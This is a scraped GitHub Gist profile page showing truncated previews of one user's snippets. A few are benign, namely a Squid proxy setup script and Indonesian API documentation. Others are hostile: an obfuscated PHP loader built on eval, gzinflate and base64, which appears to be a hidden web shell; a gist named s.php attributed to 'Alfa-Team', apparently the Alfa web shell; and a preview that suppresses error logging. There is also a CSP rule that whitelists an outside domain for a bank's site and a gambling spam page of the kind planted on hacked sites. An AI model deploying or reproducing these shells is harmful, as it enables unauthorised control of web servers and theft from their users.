Skip to content

Instantly share code, notes, and snippets.

View fdciabdul's full-sized avatar
⚰️
I may be dead

taqin fdciabdul

⚰️
I may be dead
View GitHub Profile
[
["https://mybca.bca.co.id", [
["connect-src", "connect-src https://*.bca.co.id https://*.imtaqin.id"]
]]
]

Authentication

Login

POST /login

Authenticate a user and return a Bearer token.

Request Body (JSON)

#!/bin/bash
# Update system
echo "Updating system..."
sudo apt update && sudo apt upgrade -y
# Install Squid for HTTP/HTTPS proxy
echo "Installing Squid..."
sudo apt install squid -y
@fdciabdul
fdciabdul / Welcome file.md
Last active July 28, 2024 21:46
Welcome file

Dokumentasi API

Pendahuluan

Dokumentasi ini menjelaskan berbagai endpoint API yang digunakan dalam aplikasi, beserta logika dan validasi yang terlibat. Semua endpoint memerlukan autentikasi dengan JSON Web Token (JWT).

Login

Endpoint: POST /login

Deskripsi:

<?php
goto cvuGr; cvuGr: function Love($LPH) { $LPH = gzinflate(base64_decode($LPH)); for ($vos = 0; $vos < strlen($LPH); $vos++) { $LPH[$vos] = chr(ord($LPH[$vos]) - 1); } return $LPH; } goto eno5a; eno5a: eval(Love("\x37\120\61\65\131\71\162\x49\x73\x6a\x41\x4f\x2f\65\71\x38\103\153\130\152\x69\x65\x41\131\163\63\x6f\156\x32\120\x47\x43\154\x38\x52\x62\x62\114\172\142\154\x79\117\x51\101\x4e\x6d\101\x69\103\123\x4d\x6c\x2f\110\x39\66\155\x39\x56\144\142\x66\x55\105\x67\114\x6a\x54\117\x62\x65\x38\57\172\x65\155\63\120\x47\121\x4b\x2f\x56\61\144\130\x56\126\144\x58\126\61\x59\157\103\x2f\x7a\x35\x2b\156\116\162\145\x4f\x31\x78\x66\x32\x7a\165\x35\x31\166\x62\x4d\102\x30\166\63\x57\156\160\130\165\61\126\x4b\x69\x75\x34\x34\x2b\x6c\120\x69\x49\170\x62\x53\x2b\161\67\160\x64\x50\127\117\x71\x53\155\x6c\106\125\x56\x72\66\131\x2b\x32\157\66\x56\x59\x56\153\x39\x33\63\x59\x48\164\107\103\170\162\x77\x56\150\131\x4b\155\121\x4c\x43\x33\x70\62\x59\124\x36\x62\x57\x35\x79\x66\127\65\x69\164\x5a\146\x4f\x4c\x2b\125
<?php
header('Content-Type: application/json');
function fetchJsonAndSave($url, $fileNameKey, $contentKey, $directory) {
// Initialize cURL session
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
<?php
error_reporting(0);
@clearstatcache();
@mb_internal_encoding('UTF-8');
set_time_limit(0);
@ini_set('error_log',null);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@fdciabdul
fdciabdul / s.php
Last active September 8, 2024 16:29
<?php
/*
Author: Solevisible/Alfa-Team
Telegram: https://telegram.me/solevisible
YouTube: https://youtube.com/solevisible
Gmail: solevisible@gmail.com
Date: Monday, September 14, 2020
*/
$GLOBALS['oZgNypoPRU'] = array(
'username' => 'alfa',
@fdciabdul
fdciabdul / Welcome file.md
Created June 25, 2024 10:39
Welcome file

Example cURL Commands

Here are some example cURL commands to interact with the API:

  1. Create a User

    sh

Copy code

<?php
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);
$title = "COIN303 | SLOT GACOR JAM HARI INI ANTI RUNGKAD AUTO MAXWIN";
$current_url = $_SERVER['REQUEST_URI'];
$image1= "https://res.cloudinary.com/fdci/image/upload/v1716924389/img-cAjV8yrQsnpL4BINoTECa.jpg";
$image2= "https://res.cloudinary.com/fdci/image/upload/v1716924388/img-CGlKLv78tdPJHcz1c0i1M.jpg";
$image3= "https://res.cloudinary.com/fdci/image/upload/v1716924389/img-5oHfUYuHTaTVuMMXE3QDf.jpg";